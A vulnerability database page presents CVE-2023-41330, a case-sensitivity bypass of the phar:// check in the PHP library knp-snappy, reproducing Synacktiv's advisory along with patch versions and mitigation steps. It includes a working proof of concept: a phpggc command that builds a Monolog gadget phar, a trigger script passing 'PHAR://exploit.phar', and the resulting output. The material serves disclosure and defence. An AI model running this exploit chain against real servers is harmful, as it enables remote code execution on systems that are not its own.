# CVE-2023-41330: knp-snappy RCE — Fixed in 1.4.3

🐘

🐘 Packagist

Not in CISA KEV

CRITICAL severity

# CVE-2023-41330 — knp-snappy

CRITICAL [Fix: KnpLabs/snappy@d3b742d](https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e)

CVE-2023-41330 is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in knplabs/knp-snappy. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for knplabs/knp-snappy — see the affected versions and patch details below.

Unsafe deserialization in knplabs/knp-snappy

Also known as[GHSA-92rv-4j2h-8mjj](/vulnerability/GHSA-92rv-4j2h-8mjj)

Published

Sep 6, 2023

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

2 known

Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-41330.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

2.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs83th percentile — riskier than 83% of all scored CVEsHighest risk

0.95%1.56%2.17%2.79%1.4%2.3%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐘`knplabs/knp-snappy`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

## Description

### Issue

On March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.

As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.

### Technical details

#### Description

The following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.

![patch](https://user-images.githubusercontent.com/110113034/250088710-396f562d-d19e-43a5-a8f8-90ca1f7e3e98.png)

If the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.

To fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.

#### Proof of Concept

To illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.

```
$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
```

The following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.

```
<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
```

Finally once executed, the `/tmp/exploit` file is successfully created on the filesystem.

```
$ php index.php 
Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634
Stack trace:
#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)
#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)
#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)
#3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')
#4 {main}
  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634
  
$ ls -l /tmp/exploit
-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit
```

This proof of concept is based on the original one published with CVE-2023-28115.

#### Impact

A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.

### Patches

Synacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.

### Workarounds

Control user data submitted to the function `AbstractGenerator->generate(...)`

### References

[https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc)

### Credits

Rémi Matasse of Synacktiv ([https://synacktiv.com/](https://synacktiv.com/)).

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐘Packagist

`knplabs/knp-snappy` 

all versions

1.4.3`composer require knplabs/knp-snappy:^1.4.3`

## Affected Products

1 product · 1 configurations

Application

`snappy`knplabs

< 1.4.3

range

Exploits & PoCs

2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

[

knplabs/knp-snappy is a PHP library allowing thumbnail, snapshot or PDF …

github.comNVDSep 2023

](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc)[

Report on github.com

github.comNVDSep 2023

](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for knplabs/knp-snappy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update knplabs/knp-snappy to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-41330 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
    

## Frequently Asked Questions

\## Issue On March 17th the vulnerability \[CVE-2023-28115 was disclosed\](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the \`phar://\` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the \`phar://\` string, it can be bypassed to achieve remote code execution again using a different case. As for the initial vulner

O3 Security · Impact-Aware SCA

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